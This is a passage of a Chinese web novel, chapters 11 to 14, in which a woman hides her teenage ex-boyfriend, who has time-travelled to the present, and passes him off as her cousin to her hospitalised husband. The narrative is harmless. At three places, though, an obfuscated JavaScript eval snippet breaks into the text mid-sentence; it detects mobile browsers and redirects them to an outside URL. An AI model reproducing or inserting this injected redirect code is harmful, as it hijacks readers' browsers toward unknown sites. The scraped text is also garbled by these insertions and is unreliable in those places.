正当她交代完,准备回卧室的时候,冷不丁听见他问,"你老公生病了?" 11. 第 11 章 林念禾愣了一秒,她早上随手放在桌上的资料和病例估计是被他看见了。 “和你没关系。”觉得语气有点僵硬,因为他去酒吧当陪酒的事,她心里还有点愧疚,于是找补道:“时间不早了,我明天还要上班。” 说完,想迈步出门。少年靠着门框,看起来没有打算让路的意思。 他低头,很仔细地端详她的表情。微抿的嘴,没什么笑意的眼睛,无不在反应对面的人现在有点烦躁。像反感别人闯入领地的小兽,却又努力收起自己的攻击性。 霍锌的目光在她的脸上流转一圈,漆黑瞳眸里写着探究,“为什么不能告诉我?” “你不困吗。我要困死了,你让开,我要回房间睡觉。” 林念禾推了他两下,没推动。他跟座山似的堵在面前,摆明了要弄清楚江予州到底有没有病。 “算我求你,你改天再问。” 能拖一天是一天,她不想将自己的私事告诉霍锌。万一明天时空突然恢复正常,他穿回去了呢。 “改天是哪天?”少年黑沉沉的眼睛直直注视着她,“林念禾,你知道你每次含糊其辞敷衍人的时候都会下意识抠手吗?” 林念禾动作猛地停滞。她以前就玩不过他,现在比他大九岁照样玩不过他。 货比货得扔,人比人得死。有时候她也搞不懂,霍锌是不是从小生下来就比别人多几个心眼。 "为什么不能告诉我,你每次遇上麻烦永远都是第一时间把我推开。" 在酒吧和那群脑子里全是废料的烂人打交道,都没此时林念禾的默不作声让人生气。 他心情说不上好,耐心也渐渐变少。 理智告诉他,林念禾不说是因为有她自己的理由。但人要是能在爱情面前保持理智,他也不至于突然发奋图强打算为爱上清北,差点被爸妈送进精神科。 “还是说,你始终觉得我才是那个麻烦。” 林念禾差点被气笑,“我跟你说了,事情就能解决了?” 居然反过来指责说她老是把他推开,他认为自己比她好? 没见过脸皮这么厚的人,骂人之前难道不会反思反思自己吗? “你不说,怎么知道不能解决。” 她往后退了一步,尽量让两个人的视线保持一个水平,"你的女朋友是18岁的林念禾,不是27岁的林念禾。我的家事,你用什么身份来管?" "远房表弟,你自己在车上跟我说的。"霍锌死皮赖脸,一副死猪不怕开水烫的模样。 经过七天的心理建设,就算他再不能接受分手的现实,这会儿听见她的冷言冷语也能做到坦然面对。 "……" 他忽略掉心里的难受,“现在又不承认了?” “我就知道你说话不算数。高二上学期篮球赛说好要给我送水,结果把水送给了隔壁班那个姓秦的。一个小时前说把我当表弟,现在又说毫无关系了。林念禾,我发现你不止有恋爱脑,你现在还有做渣女的潜质。” “陈年旧账你也拿出来翻!”林念禾震惊。十年前给秦於送了瓶水,送水而已,这是什么滔天大罪吗? 霍锌理直气壮,“对你是陈年旧账,对我不过是去年的事。” 他砰地一声把门关上,靠在门板上,用脚勾过来一个板凳坐下,双腿敞开。 打定主意今晚要弄清楚那个男人是不是在医院。霍锌不在乎他的死活,他在意的是林念禾这段时间过的好不好。 不跟他说没关系,他会自己问出来。过程不重要,结果是对的就行。 再硬的蚌壳,他都能给撬出一条缝。 房间气氛安静诡异,少年笑了一下,继而表情冷漠,语气很淡:“你自己都说了把我当表弟,跟表弟说说姐夫生病的事,也很正常吧。” 姐夫两个字一出来。 林念禾鸡皮疙瘩掉了一地,浑身不适。明明是清白的,硬是有种禁忌感。 “你乱喊什么。”她顿了顿,就重避轻:“他身体不太好,最近一直住院。” "所以你之前说的流感发烧住院是在骗我?" "是。" “行。” 霍锌听到答案,不再逼问下去。往里多问,她八成要跳起来生气。反正病例他也看见了,得的什么病,上网一搜清清楚楚。 他想要的是林念禾别把他当外人,两个人之间的界限别画得那么远。 他像是满意了,起身,握住门锁打开,“晚安。” 晚安……安个鬼。 晚上整这么一遭,她要是能有好心情睡觉就见鬼了。 翌日, 林念禾收拾好出房间时,桌上已经摆好了早饭。贺渺边喝粥,边刷手机。余光看见她的身影,“你起多早买的早餐,居然还能睡个回笼觉起来。” “今天醒的比较早。”她坐下,拿了个鸡蛋慢吞吞地剥壳。 狗笼里没狗,估计是霍锌早上起来买完早饭,然后牵出去遛了。 贺渺放下手机,递过去一杯牛奶,“昨天喝多,没给你添麻烦吧?” 她酒品挺一般的,喝多了会胡言乱语,有时候还会闹人。 “没。” 贺渺松了口气,片刻,突然脑子里闪过一张脸,猛拍桌子,“卧槽,我昨天喝多了好像看见霍锌了。” 林念禾正嚼着鸡蛋灌饼,被她的话吓得差点噎住。昨天在酒吧从撞见霍锌再到带走他,贺渺趴在她的肩头听完了全程。 知道对方喝多了会断片,但心不由自主地提起来。 她糊弄道,“喝多了,在梦里见的吧。” 贺渺思考一瞬,觉得有道理。那张脸跟18岁的霍锌一模一样,或许真的是自己做梦梦见高中,然后将梦和现实弄混了。 “你这么一说,我怎么感觉背后发凉呢。”她缩缩脖子,“清明节你是不是忘给他烧纸了,所以托梦到我这里。改天我和你一块上坟拜拜,顺便求他看在老同学的份上保佑我今年暴富。” “你滚蛋。” 她逢年过节确实有边给霍锌烧纸边许愿的习惯。原来人没死,怪不得之前许的愿望一个都没实现,白瞎真情实感地烧了三年的纸。 吃完饭,霍锌还是没回来。家里门锁的密码昨天晚上她就告诉了他,所以林念禾不担心他进不来家。 霍锌带着狗在小区旁边的公园绕了两圈。很多狗对陌生人都有攻击性,早上打开狗笼还担心它会不会应激。没想到乐乐居然挺喜欢他,一看见他就热情地往怀里扑,尾巴转得跟螺旋桨一样。 回家后,他抱着它在沙发上看电视。 很无聊的一天,但是霍锌觉得还不错。忽略掉林念禾住院的老公,这一天很符合他想象中两人的婚后生活。没有孩子吵闹,他休息在家等她下班吃饭,然后睡觉期待新的太阳升起。 四点,钟点工阿姨上门。 乍看见家里有个不认识的男人,阿姨还以为自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880103|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走错了,特意出去确认门牌号。 霍锌揉揉自己的头发,解释,“表弟。” 阿姨哦了一声,拎着菜进厨房。 林念禾事先交代过她,今天做个江予州爱喝的汤。忙活到快五点,做好饭,阿姨准备等林念禾回来再离开。 等了十多分钟,还是不见人,于是有些着急地给人打电话。 她刚开完会,从会议室出来看见钟点工阿姨的电话,才想起来没和阿姨说今天要加班让人先走。 “不好意思阿姨,我今天要加班,忘记跟您说了,您先走吧。” 阿姨知道那汤是炖给病人的,做汤之前林念禾说过给病人的,需要清淡点。 “那汤怎么办?” “没事,改天麻烦您再做一次。” 阿姨冷不防看见客厅和狗玩儿的霍锌,“哎呀,你表弟不是在这嘛,让他送。” “不用,不用。”林念禾当即拒绝。 万一在病房里吵起来,谁来劝架。 “他都那么大了,去医院送个汤又不可能把自己送丢了,做家长的别老不舍得使唤孩子。” “真不用他去,我表弟平时不喜欢出门。”林念禾刚想说不耽误阿姨的时间了,电话那头倏地一道懒散的嗓音传过来。 “把病房号发过来。” “不是……”电话被对方挂断。 林念禾愣愣地盯了两秒黑掉的屏幕。 他脑子有病吧。 昨天为了糊弄随口编的表弟身份,霍锌不仅适应得不错,而且好像真的把自己当成了表弟。 居然想去给江予州送汤…… 先不说那张和27岁的霍锌百分之八十相似的脸,结婚两年突然冒出来一个没见过的表弟。 两个人长得完全没有相似的地方。 江予州肯定不能相信啊! 少年没什么耐心,见她迟迟不发地址,就开始发消息催促:【?病房号】 林念禾忍不住怀疑他的用心,【平时怎么没见你这么热心过?】 等了一瞬,那边回道:【我一直都很热心,喜欢做好事不留名。上下学经常扶老奶奶过马路。】 林念禾:【我只见过你骑老奶奶过马路。】 屏幕上头的小字显示正在输入,对面大概被气到了,删删减减最后回道:【姐姐不敢让我去,不会是怕姐夫发现我跟你的关系吧?】 好暧昧模糊的话语……林念禾只觉得恶心。以前的霍锌脸皮不算薄,但不会说出这么恶心的话。两个人最亲密无间的时候,也没玩过任何角色play 林念禾眼不见心为净,索性不回消息。 【不开玩笑了,我是想帮你点忙。就算你再厉害,总会有医院公司两头只能顾一头的时候。我现在是个黑户,不能出去工作上学,在家除了躺着就是躺着,你可以把我当免费劳动力。】 【不该说的我绝对不会说,问起来就是一概不知,除了表弟没有其他身份。】 【而且我住你家,你老公总会知道的。现在知道和以后知道有区别吗?】 他说的都很在理。林念禾确确实实心动了。天天上班,去医院,回家还要照顾狗,每一项都很累。 有霍锌帮忙,她也能有时间歇口气。 她犹豫了一会儿,把病房号发过去。【别刺激他,别和他吵架,别说什么不该说的。】 少年看见信息,很嫌弃地嗤了一声。 就这么提防他? 12. 第 12 章 医院, 他到的时候,正好是护工去吃饭的时间。 霍锌拎着保温桶,礼貌性地敲了两下门,也不管江予州同意没同意,很自来熟地拎过一侧的椅子坐下。 汤还是热的,他在直接让江予州就着保温桶喝还是拿碗喝之间犹豫了一瞬,选择帮他盛出来。 不是心思细腻体贴,是怕江予州转头跟林念禾告状。 这种事情以前贺渺没少干过,每次望着林念禾谴责的眼神,他都百口莫辩,甚至恨不得跳进黄河证明自己的清白。 一通行云流水的动作做完,少年木着脸用眼神示意对方可以喝了。 江予州长得挺斯文,一副金丝眼镜架在鼻梁上,看起来人模狗样。一想到林念禾护犊子的态度,霍锌又开始有些不爽,烦躁地用食指压了压头顶的黑色鸭舌帽。 他打量江予州的同时,江予州也在观望他。少年穿着一身黑,带着帽子,遮住了眼睛,露出的下颚轮廓分明,黑色耳钉闪着,态度算不上好。 林家那边的亲戚不多,逢年过节除了去小姨家,就没有其他还在来往的亲戚。 总不能是她父亲那边的亲戚? 可林念禾和他的关系差到几近断绝关系的地步,他到现在都没见过她父亲的面。 碗里的汤是他一贯喜欢的,江予州默不作声地喝完,想将碗放回床头柜。 一只手快一步接了过去。 方才一直无聊看手机的男生,终于有了动作。他快速收拾好残局,看样子像是一刻都不想多待。 "念禾今天加班吗?" 少年动作一顿,熟稔的口吻落在耳朵里像是往他脑袋里扔了颗地雷。全身细胞跟着抗拒叫嚣,内心涌起阵阵情绪。 他不露声色地压下快要喷薄而出的恶意,平淡道:"对。" 江予州没有错过他一瞬间展现出的侵略性,"我记得小姨家只有一个表妹,你是念禾弟弟还是朋友?" "表弟。"霍锌又坐回原位,拎着保温桶金属柄的手指隐隐用力到有些泛白,"我是她妈妈表姐的儿子。" "我倒没听她提起过。" 江予州的视线凉凉落在他的身上,语气听上去却异常和睦,拿出长辈的架势,对小辈不礼貌的行为表现得包容十足。 霍锌觉得更加不爽了,本来身份就低人一头,没名没分只能假装表弟。 一想到这人是林念禾短命的老公,现在又想端出长辈的模样打探他们的关系,他身上就仿佛爬上了数只蚂蚁啃咬,难受至极。 "远房表弟,我都快十年没见过我姐了。" 他眉骨抬了抬,往后靠到椅背上,双腿微敞,"怎么,我们长得不像吗?他们都说我和我姐长得像,要不是有血缘关系,这大概能算夫妻相。" 江予州听见这话,轻轻笑了笑,但镜片下的眸瞳深处没有任何笑意,"没看出来你们像。" "眼睛,鼻子,嘴,哪哪都挺像的。"他随意报了几个部位,胡扯一通。 要说眼睛,他们一个是杏仁眼,一个是桃花眼,差了十万八千里。其他地方更是没一个像的。 江予州仔细看了他两眼,总觉得有些说不出的眼熟,好像在哪儿见过。他转着婚戒,冷不丁问道,"外婆去年过生日,你怎么没来,是学业太忙了?" 尾音落地,病房里静悄悄的。两股视线在空中交汇。 "表姐外婆早去世了,你问的是谁的外婆?"少年冲他一笑,露出的牙齿像是不怀好意准备咬他一口,"还是说姐夫你在外面有别的家,有别的外婆,所以记混了。" 无形的刀光剑影,江予州这下确认他对自己莫名抱有很大的敌意。 "是我记错了。" 霍锌知道他刚才的问题是故意在试探自己身份的真实性,于是没有揪着不放。 他忽然有些好奇林念禾结婚后的生活到底多无趣,两个人的感情到底有多浅,才会让江予州防备心重重,连表弟都要试探一番。 啧,好可怜一男的。 一生坦荡自信的霍少爷压根不觉得,是因为自己先上来夹枪带棒输出一番,所以江予州才心生怀疑。 两人相顾无言,沉默了一会儿。隔壁床的大爷被老伴扶起来准备下楼透气,几分钟后,病房里剩下他们两个人。 江予州以为他要走,突然听见他问:"你和我姐怎么认识的?" 他拿书的手一顿,"朋友介绍。" "然后你就看上她了?" "是我一见钟情。" 霍锌嗤了一声,漆黑的眼眸一瞬不息地注视着他,"见色起意吧,毕竟我姐长那么好看。" "不太一样。漂亮的脸的确会在第一次见面时为对方加分,但一见钟情是我当时脑子里出现了想和她共度余生的念头。" 书页在他手中翻展,洁白的纸张压在修长的指节下,"这么好奇我和你姐的事?" 霍锌点头,特问心无愧地说,"是挺好奇的,因为你和我姐以前跟我说的理想型差距挺大。" "哦,她跟你说过她喜欢什么类型?" "要长得好看,气质出众。"他上下扫了扫江予州,耸肩道,"反正不是你这种书卷气重的。" 林念禾说过她喜欢他,所以理想型当然像是他这样气质好长得好,还会照顾人的。 江予州这种看上去肩不扛手不能提的病号,他能甩他八条街带来回。 霍锌一边腹诽林念禾什么破眼光,一边又想到27岁的他居然在三年前跟她分手了,之后让一个男的对她见色起意,当即气不打一处来。 "你今天不用上学吗?"江予州揉揉眉心,把长辈架势端出来。 对方无情也别怪他无义。 本来不想做扫兴的大人,奈何对面是个低情商没有眼色的熊孩子。 "晚自习你请假了吗,上学期期末成绩怎么样,班里能排到第几名?" "……" 霍锌脸色微僵,他穿越前还在上高三,准备明年高考。 成绩是高中生最重要的隐私,就好比穿在里面的内裤颜色,自己知道,别人要是开口问,那他就是变态。 "时间不早了,我还要回去遛狗。"他似乎是想起来什么,施施然道,"最近我妈出差,我借住一段时间,姐夫不会不乐意吧。" "念禾同意就行。"江予州抬眼撞上他的视线,"我们家一向都是她做主。" "你很怕她?" "你没早恋过?" 眼前少年的脸,放在中学时期,收到的情书怕是能塞满整个抽屉。怎么可能听不出来他的意思。 除非是块木头。 江予州转念想到刚刚那段毫无情商可言的对话,倒还真有可能是块木头。 可惜这张漂亮的脸,偏偏长张不会说话的嘴。 不知道江予州内心的可惜,霍锌冷着脸拎起保温桶离开。 身后飘来一句温柔的嘱咐,"注意安全。" 霍锌:…… 死绿茶。 等走出医院,他摸摸口袋里的零钱,除去打车费还有几百块,于是打车往市中心去。 公司, 林念禾加完班准备离开。之前做好交上去的方案被徐寒重新打回来,还顺手甩给她几个原来是他负责的项目。 搞得现在全公司上下都以为她是小徐总手下的得力干将,是太子登基路上的太子少保。 她很嫌弃这种说法,破大点公司还真当自己是皇帝了。 车刚开出车库,一辆黑车不知道从哪冒出来突然挡在面前。 下来两个保镖,硬邦邦的肌肉裹着黑色西装,凶神恶煞地堵在车头。林念禾没轻举妄动,坐在驾驶座上想看他们要干什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880104|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>保镖见她不动,于是走到她车窗边,很有礼貌地敲了两下窗户,意思是有话跟她说。 她又不傻,万一他突然把她扯下车,强行带走呢。 双方僵持了好半天,一方站着不走,一方躲在车里不愿意出来,连车窗都不肯降下。 握住的手机忽然响起,林念禾仔细看了看,是个不认识的电话号码。 灵光一闪而过,陌生的黑车,魁梧的保镖,陌生来电,只有陆建林才会干出这种事情。 这个电话她如果不接,外面的保镖很有可能会守着她直到电话接通。 指尖在屏幕上一滑,接通电话。 陆建林明显情绪不悦,上来直接质问道,“这么久不跟我联系,你是真的不打算认我这个爸了?” “我们连姓都不一样,你自己觉得呢?” 他一顿,语气生硬,“你妈当年脑子进水了,一句话都不跟我说直接带着你去改姓。哪有孩子跟妈姓的。” “你确定要跟我议论这些吗?” 她脸色冷下来,语气却依旧很平淡,“我性格不像我妈那样强势,在一起生活二十多年,也多少耳濡目染学会了些难听的话。” “你威胁我?” “我没威胁你。我的意思是我小时候我妈为什么带我改姓,你们又为什么离婚,你心里清楚,我心里也很清楚。现在我妈不在了,就开始模糊事实。陆总,你这行为不好吧。” 陆建林像是被气狠了,那头还有道女声不停地宽慰他。 林念禾突然觉得好没意思,侧眸透过深色的玻璃窗看向站在外面的保镖。天气预报说明后两天有大暴雨,今天白天还阳光明媚,万里无云,这会儿风已经呜呜地吹起来了。 两位保镖素质过人,即使大风吹得衣角乱飞,也保持着专业姿势。 同为打工牛马,刚还害怕忌惮这两位大哥,如今林念禾心底升起丝丝同情。 摊上陆建林这样的傻叉甲方,估计他们也不好混。 普通保镖保护雇主平安,陆建林的保镖身兼多职,还得处理极差的父女关系。 电话那头换了个女声,"小林,你知道你爸爸他身体不好就别气他了,他也是想关心你。" 林念禾想了一会儿,记起来对面的女人是陆建林前几年娶的新老婆,比他小十岁,长得很漂亮,以前是个演员。 "下礼拜是你爸爸的生日,他呢不想大操大办,只想一家人在一起吃顿团圆饭。" 女人的话没说完,电话被陆建林夺走,"你要是不来,我就让人去公司把你绑回来。你自己看着办!" "……"林念禾差点气笑了,"你当我不敢报警抓你?" "抓我?我一没限制你人身自由,二没勒索绑架,警察有什么理由插手家事。" 陆建林侃侃而谈,好像抓住了林念禾的命门似的,"还有你的姓,要是识相就趁早改回来。我是你爸,我能害你吗。如果你能改回来,第二天我就把公司股份转给你百分之十。" 他说得口干舌燥,端起面前的茶杯喝了口茶,还想继续洗脑林念禾早回来认祖归宗,却发现电话早被挂断。 陆建林面色沉黑,手机狠狠摔在地上。屏幕四分五裂,碎片飞溅划破温诗的小腿,顿时冒出一道小小的血珠。 温诗给了旁边保姆一个眼神,保姆立即上前收拾残局。她劝道,"小林年纪轻,和她妈妈感情比较深,以后会明白你的良苦用心的。照我看,她就是嘴硬心软。" 陆建林不耐烦地瞪她一眼,"要你说?" 她一个外人居然还想插手他们父女之间的事。 血缘才是这个世界上最密不可分的东西。林念禾,哦不,陆念禾她只是被她那个没有眼界的妈洗脑了,才会不认他这个爹。 等时间到了,她自然会知道他的好。陆家还要在她的手里发扬光大,传承下去。 13. 第 13 章 林念禾到家,正好遇见霍锌从医院回来。 两人一言不发地进入家门,她扫了眼他手里领着的东西,白色塑料袋里透着几样像书本似的东西。恍然想起,少年霍锌今年才高三。 高三,一个吃饭喝水睡觉都要分秒必争的阶段。他居然在她家跟保姆似的,忙前忙后。 “这是?” 霍锌把手里的教辅资料随意扔到茶几上,晃了晃另一只手上的袋子。 “小蛋糕,吃不吃?” 这家店是林念禾以前最爱吃的一家甜品店,每次她心情不好,就会一个人去店里买块蛋糕自己一边吃,一边调节情绪。 参加工作后,年纪越长,她很少再去用吃甜食的方式缓解心情。因为上班隔三岔五会被傻叉气到,如果次次都吃甜食,那么高血糖迟早将找上她。 她在公司吃过饭了,这会儿并没有多饿。但霍锌那双清澈澄亮满是期待的眼睛,仿佛如果她拒绝,下一秒就会委屈到掉眼泪。 以前怎么没发现霍锌这么脆弱不堪呢。 一块精致的蛋糕被拿出来放在茶几上。霍锌递给她一根叉子,随后就坐在地毯上静静看她。 甜腻的奶油融化在嘴里,一时之间甜得她有些说不出话。林念禾很沉稳地没有表现出来,而是伸手拿起水杯喝了口水。 人甚至都不能理解年少时候的自己,这么甜的东西,她那会儿居然喜欢得要死…… 霍锌眼睁睁看她停顿了一秒,然后面色些许狰狞地喝了一大口水。 “不好吃?” “还……”没等好字发出来,少年直接就着她手上握住的叉子,吃完她上一口剩下的蛋糕。 林念禾:! 脑子里像是有个烧开水的水壶顿时发出尖叫声。那是她吃过的,明明桌子上摆着另一个干净的叉子,他非凑上来往她手里咬一口。 “你……” 少年皱着眉,又端起她放下的水杯,准确无误地在她印着口红印的地方贴上去,灌了一大口水。 “好甜啊,他们家这么多年居然一点没改过口味。” 他自顾自地抱怨,忽地像是困了,脑袋靠在她的腿上,冲旁边咬玩具的狗招手,懒洋洋道:“乐乐,过来。” 狗听到他的声音,立马把嘴里的东西扔掉,十分谄媚地扑到他身上。 林念禾端着蛋糕的手僵在半空中,大腿处某个东西很有存在感地蹭着她。 那是霍锌的脸颊。 他们的距离太近,少年身上的味道若有似无地环绕在她的鼻尖。家里的沐浴露都是同一个牌子同一个味道,昨天给他拿洗漱用品的时候,她直接拿了一套和自己一模一样的。 闻见他和自己身上相同的气味,林念禾大脑莫名有些发懵。 一人一狗玩得不亦乐乎,乐乐猛地用力冲进他的怀里,霍锌猝不及防接住它,重心不稳,手下意识握住了林念禾的小腿。 炙热的掌心温度透过布料传递到她的皮肤上,林念禾这下不光是胳膊僵住了,而是整个身体僵在沙发上。 少年察觉到身边人的不对劲,他撩眼望她,"怎么了?" 低沉悦耳的声音飘进耳朵里,林念禾一个激灵,突然放下手里的蛋糕,站起来。 "你别挨着我!" 男生眼底快速闪过一丝失望,面色疑惑,"我没挨着你啊。" 他用眼神示意他们现在的距离,一个在沙发中间,一个在沙发的头端。 林念禾有些暴躁,总不能直接说,你刚把头放我腿上了,还摸了我。说出来仿佛他在勾引她。 18岁的霍锌,还没分手,往她身上靠是习惯性的动作。距离感不是一天两天就能拉开的,需要慢慢养成,就像他需要慢慢习惯他们已经分手的现实。 他比她小九岁,一个人穿越到未来,还在酒吧当了七天头牌。 想到他现在处境十分可怜,一番思想斗争下,她泄气似地摆摆手,"我洗澡睡觉去了,你自己跟狗玩吧。" "脏衣服放那儿,等会儿我来洗。"霍锌揉着狗,头也不抬地撂下句能让她原地蹦起来的话。 林念禾迈向房间的脚步猛然停滞,不知道是不是她的错觉。从早上开始,霍锌就好像一声招呼不打地强势挤进了她的生活,囊括家里大小事务。 地是他拖的,狗是他遛的,阳台的花是他浇的,现在还想帮她把衣服洗了。 高三生爆改家政? "不用,我俩的关系没到能替对方洗衣服的程度。"她深吸口气,毫不留情地拒绝。 "我说的是帮你把衣服扔进洗衣机里,然后等洗衣机洗好了,你自己去晾,你想的是什么?" "……" 原来他没想帮她手搓衣服。 不怪她脑子肮脏,是之前两人同居,霍锌经常帮她手搓内衣。 林念禾感受到背后那道求知若渴的目光,"我想的是别浪费你刷题的时间,高三生。" 霍锌:…… 等林念禾洗完澡吹完头,又贴了面膜护肤,再去客厅倒水时,发现少年不在家连带着狗也不见了。 外面风没有下班时大了,但温度陡然降低,厚重的乌云盖住月亮,隐隐有下大雨的趋势。 林念禾站在客厅陷入沉思,别告诉她,他是去遛狗了。 小区外, 霍锌牵着绳下楼一秒后,他就后悔了。 早上遛过一次,但乐乐刚一直在门口打转想出去玩,他心想没事干又不愿意做题,还不如带着它出去溜达。 没成想,出门前忘记今天晚上会下雨。他就这么带着一条狗,深夜孤零零地站在外面。 他试探性地往回拽了拽绳子,没拽动。 很好,它一点都不想回家。 土松的脾气也这么犟吗? 来都来了,霍锌这么想着于是一路往外走。 眼见夜色越来越沉,温度越来越冷,下雨的概率越来越大。 雨点突然降下,滴在他的头上。 不远处就是另一个小区门口的保安亭,霍锌抱着乐乐快步进去站在屋檐下。 保安亭的安保小哥是个热心肠,一看他没带伞被淋湿了,打开门让他进来躲雨。 他递给对方一包纸巾,"先擦擦吧,这雨估计有的下。" 霍锌道过谢,抽出几张擦拭头发。乐乐被他放在地面,甩了几下雨滴,好像知道自己惹祸了,乖巧地坐在脚边。 霍锌:…… 能说什么呢,都怪他不乐意学习,要是老老实实回房间做题,就不会被雨淋了。 安保小哥手搭在桌面,捧着保温杯的手起起放放,一副欲言又止的样子。 霍锌注意到他的眼神,"有什么事吗?" "您是不是住这个小区啊?" "不是。" 安保小哥听见回答,挠了挠头,"总感觉你挺眼熟。" 他们这个小区是一梯一户的大平层,住的都是有钱人,安保措施当然到位,每户业主的脸,他们都会牢记心中。 眼前这位少年,他总觉得很眼熟。 等了半个小时,雨还是没有任何变小的迹象。霍锌认命地掏出手机给林念禾打电话。 他淋点雨感冒没什么,吃点药就好了,狗淋点雨感冒可就完蛋了。 林念禾接通电话后,沉默几秒,随后扔下一句等着,就把电话挂断了。 她扯下面膜,匆匆洗干净脸,换掉身上的睡衣,拿起车钥匙和伞出门。 幸好没走多远,只在隔壁小区门口。 开车十分钟不到,林念禾到地方的时候,雨好死不死地正好停了。 霍锌觉得这停的不是雨,而是他的心跳。 林念禾对于洗澡是有神圣感的,洗完澡如果不是必要情况,不然绝对不会出门,仿佛迈出家门一步,就会弄脏自己。 理亏的是他,正当他想出去认错时,林念禾先一步下车了。 她能看出来小孩儿没养过宠物,第一次和狗生活,对它很包容。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880105|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但这狗玩意儿,就是喜欢蹬鼻子上脸的,你越顺着它,它越无法无天。 霍锌朝安保小哥说了声谢谢,离开保安亭,站在亭外的台阶上。 林念禾站在地面,比他低一个阶梯,本来就有接近二十厘米的身高差,加上一个台阶她更得抬头看他。 脖子扬得酸痛,但她占理,气势上快要压他一头。 "你……" 话音刚落,侧边射过来一道白耀的灯光。林念禾用手挡了挡眼睛,接着看见狗从身边忽地跑走。 她都来不及追,对面的车一个急刹停住。车门打开,一道熟悉的人影从车上下来。 林念禾悬起的心,在看见狗安全后,来不及放下,倏地又悬起来。 她眼疾手快地一把拉开保安亭的门,直接用力把眼前的少年推进去。 也不知道林念禾哪来这么大的力气,霍锌视野一晃,被攮进屋内,人都没站稳,差点摔倒在地,幸亏热心的保安小哥扶了他一把。 "谢谢。" "不用谢。"安保小哥,意味深长地看他一眼,又向外看去。 他顺着对方的视线透过窗户望去,是27岁的霍锌。 顶着两张八成相似的脸,再加上林念禾跟偷情似地把他猛推进来。 跳进黄河也说不清。 "麻烦替哥们儿保密。",少年选择放弃解释。 保安小哥点点头,"放心,我的嘴是全小区最牢的。" 外面, 林念禾莫名有些心虚,她也不知道为什么刚刚把18岁的小霍突然推进去了。 两个人早见过,但霍锌不信小霍是18岁的自己,以为他是商业间谍。 这种情况下,如果她和小霍一同出现,霍锌大概会以为她是被小霍迷惑住的,要么小霍会被他当间谍抓起来,要么她被套上个暗中觊觎前男友的帽子。 霍锌低头,刚洗完澡的林念禾像个剥了壳的荔枝,皮肤白嫩,乌黑的头发松松垮垮地扎在脑后。 "霍总,真巧。" 说完,林念禾在心里给了自己一巴掌。那么谄媚做什么,他上回在楼道那么对她,她今天遇见他应该摆出横眉冷对的样子。 毛茸茸的狗尾来回扫在他的皮鞋面,霍锌紧了紧手里的绳索,冷声道,"半夜出门有事?" 刚才要不是司机反应快,这会儿轮胎底下应该躺着一具尸体。 "有事。" "如果你没时间养它,可以给我。" 林念禾有些不可思议自己听见的话,"你要跟我抢它?" 她养了五年,邻居家阿姨亲手把只有三个月大的小狗崽送到她的手里。当时乐乐哼唧着还舔了她的手心,湿漉漉的感觉到现在林念禾还记得清清楚楚。 "我们当时一起抚养的它。"霍锌顿了顿,"人的精力有限,你无法同时既照顾病人又照顾好宠物。" 他没有当小三的念头,也绝对不是想借着狗重新和她建立感情。 "我自己的事情我会处理好,就不劳您费心了。" "万一再出现它跑到马路上的局面呢?"霍锌垂眼看她,也说不出自己是什么心情,她太冷漠了,像是对待一个毫无交集的陌生人,言语之间都是客气。 林念禾想把小霍拎出来锤一顿,18岁的男高精力充沛到居然雨夜出来遛狗。她不能把他送学校念书,还不能给他报几个补习班吗。 外面那种全学期高考冲刺的辅导班,一抓一大把,她回去就给他报三个。 "今天是我的错,没看住它。我在家会锁笼门,它不会跑出来。" 她伸出手,想要回他手里的绳子。 大概因为洗澡之后匆忙着急出门,这是他第一次见她没带着婚戒。 洁白如葱的指尖擦过他的掌心,那小块皮肤像是被灼烧似的,微妙的感觉顺着传递到心脏,差点击溃他原本树立起的心理防线。 突然,保安亭里传来一道闷声,霍锌看见窗户边一个一闪而过的人影。 14. 第 14 章 几乎同时,两个人下意识寻声望去。 霍锌想起来,刚在车上透过车窗看见她站在保安亭外和一个男人聊天。 半夜,还是刚下过雨的夜晚,不知道她出来做什么。 他往前迈了一步,林念禾紧跟着往后退了一步,死死挡在面前。 她这会儿有些痛恨为什么没有一米八,一米六五的身高能挡个毛线。甚至霍锌不低头,都没办法看见她。 他低头撩了林念禾一眼,往左挪一步。 林念禾又跟着往左跨了一大步,神色坦荡地注视他。 霍锌:…… “有事?” 他垂眸,静静打量着她的脸,“你刚才有听见什么声音吗?” 林念禾佯装回忆了一下,“没有。” 寂静的雨夜,旁边路灯发出的光线照进水坑像一块块小镜子,反着光。路边偶尔飞驰过一辆车,引擎的声音显得格外大。 她听见自己的心跳在安静的环境里,扑通扑通,一声比一声大。 要是小霍被发现了会怎么样? 他可能会用看垃圾的眼神看自己,并且不屑地怀疑她实际对霍锌居心不良,故作矜持,所以那天晚上才装模做样地扇了他一巴掌。 